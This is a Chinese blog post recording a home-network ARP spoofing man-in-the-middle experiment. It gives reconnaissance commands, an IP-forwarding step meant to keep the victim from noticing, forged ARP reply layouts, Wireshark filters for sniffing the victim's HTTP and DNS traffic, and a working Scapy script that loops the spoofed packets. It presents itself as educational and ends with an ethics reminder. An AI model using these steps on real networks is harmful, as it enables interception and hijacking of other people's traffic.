深入解析:ARP欺骗实战:从零到一的中间人攻击实验记录
引言
在网络安全领域,ARP欺骗(ARP Spoofing)是一种经典的中间人攻击(Man-in-the-Middle)技术。今天,我将通过实际操作,带大家深入了解ARP欺骗的原理、实施步骤以及防御方法。本次实验旨在教育目的,帮助安全爱好者理解网络安全的攻防对抗。
实验环境
网络拓扑
通过cmd命令行ipconfig,getmac,ping等指令找到我的,网关的,还有受害者的ip和mac地址
硬件信息
攻击机:Windows 11,Intel Wi-Fi 6 AX201 无线网卡
工具软件:科来数据包生成器、Wireshark
网络环境:家庭WiFi网络(连接到同一热点上
理论基础
ARP协议回顾
ARP(Address Resolution Protocol)用于将IP地址解析为MAC地址。在局域网中,当设备A需要与设备B通信时,A会广播ARP请求:"谁的IP是B?请告诉A"。设备B收到后回复ARP响应:"我是B,我的MAC是X"。
ARP欺骗原理
ARP协议没有身份验证机制,攻击者可以发送伪造的ARP响应包,欺骗目标设备更新ARP缓存表,从而实现:
流量重定向:目标流量经过攻击者
会话劫持:拦截和修改通信内容
拒绝服务:使目标无法上网
实战操作记录
第一步:信息收集
在攻击前,需要收集目标网络的关键信息:
-
# 1. 获取自身网络配置 ipconfig # 输出:IP=192.168.189.39,网关=192.168.189.9 -
# 2. 发现目标主机(这里我是通过Nmap找到的对方主机) ping 192.168.189.19 -
# 3. 获取目标MAC地址 arp -a | findstr 192.168.189.194输出格式应为xx-xx-xx-xx-xx-xx格式(mac地址) -
# 4. 获取网关MAC地址 ping 192.168.189.9 arp -a | findstr 192.168.189.9 -
# 5. 确认自身MAC地址 getmac /v 第二步:开启IP转发
为了让目标能正常上网(避免断网引起怀疑),需要开启IP转发:
cmd
# 以管理员身份运行 netsh interface ipv4 set interface "WLAN" forwarding=enabled- 没有这一步对方无法正常上网,但我们可以正常抓包
第三步:构造ARP欺骗包
使用科来数据包生成器创建两个ARP欺骗包:
一个一个点击修改就行,操作类型都是2

数据包1:欺骗目标主机
以太网头部:
目的MAC:XX:XX:XX:XX:XX:XX(受害者mac)
源MAC:XX:XX:XX:XX:XX:XX(我的mac)
类型:0x0806 (ARP)ARP协议:
操作码:0x0002 (ARP响应)
发送方MAC:XX:XX:XX:XX:XX:XX(我的mac)
发送方IP:192.168.189.9 ← 伪装成网关
目标MAC:XX:XX:XX:XX:XX:XX(受害者mac)
目标IP:192.168.189.194数据包2:
以太网头部:
目的MAC:XX:XX:XX:XX:XX:XX(网关mac)
源MAC:XX:XX:XX:XX:XX:XX(我的mac)
类型:0x0806ARP协议:
操作码:0x0002 (ARP响应)
发送方MAC:XX:XX:XX:XX:XX:XX(我的mac)
发送方IP:192.168.189.194 ← 伪装成目标
目标MAC:XX:XX:XX:XX:XX:XX(网关mac)
目标IP:192.168.189.9第四步:发送欺骗包
配置科来数据包播放器(把刚刚配好的数据包文件添加到里面):

网卡选择:WLAN无线网卡(Microsoft)
播放模式:循环发送
间隔时间:200-400ms左右
次数:0(无限循环)
点击"开始"发送
第五步:验证攻击效果
在Wireshark中监控:
-
# 过滤器查看ARP欺骗包 输入过滤规则arp(这里我多写了ip.addr==,不影响,只截取了arp部分)

在目标主机上验证:
cmd
arp -a
# 应显示:
# 192.168.189.9 (我的mac地址) 动态
则成功目标的ARP表中,网关的MAC地址已被替换为攻击者的MAC地址。
第六步:流量嗅探
现在所有目标流量都经过攻击者。打开Wireshark,设置过滤器:
# 查看目标的HTTP流量(如果访问HTTP网站)
http and ip.addr == 192.168.189.194
# 查看目标的DNS查询
dns and ip.addr == 192.168.189.194
# 查看所有目标流量
ip.addr == 192.168.189.194
技术难点与解决方案
难点1:无线网络限制
问题:无线网络相比有线网络更难进行ARP欺骗
解决:
确保信号强度良好
增加发送间隔(200-500ms)
检查路由器是否开启MAC过滤
难点2:工具兼容性问题
问题:科来数据包生成器无法识别无线网卡
解决:
以管理员身份运行程序
安装Npcap替代WinPcap
或使用替代工具(Python+Scapy)
Python替代方案(推荐)
from scapy.all import *
import time
def arp_spoof():
your_mac = "你的mac"
target_ip = "192.168.189.194"
target_mac = "目标mac"
gateway_ip = "192.168.189.9"
gateway_mac = "网关mac"
# 欺骗目标
packet1 = Ether(dst=target_mac, src=your_mac) / \
ARP(op=2, hwsrc=your_mac, psrc=gateway_ip,
hwdst=target_mac, pdst=target_ip)
# 欺骗网关
packet2 = Ether(dst=gateway_mac, src=your_mac) / \
ARP(op=2, hwsrc=your_mac, psrc=target_ip,
hwdst=gateway_mac, pdst=gateway_ip)
print("开始ARP欺骗...")
while True:
sendp(packet1, verbose=0)
sendp(packet2, verbose=0)
time.sleep(0.1)
实验总结
成功指标
目标ARP表被成功污染
能捕获到目标网络流量
目标上网正常(IP转发开启)
失败原因分析
无线AP的ARP防护功能
目标使用静态ARP绑定(配置文件里强行锁定,无法更改)
网络设备的安全配置(记得关防火墙)
伦理与法律
重要提醒:
仅在自己的网络或授权环境中测试
不得在未经同意的情况下攻击他人网络
学习目的是为了更好的防御

浙公网安备 33010602011771号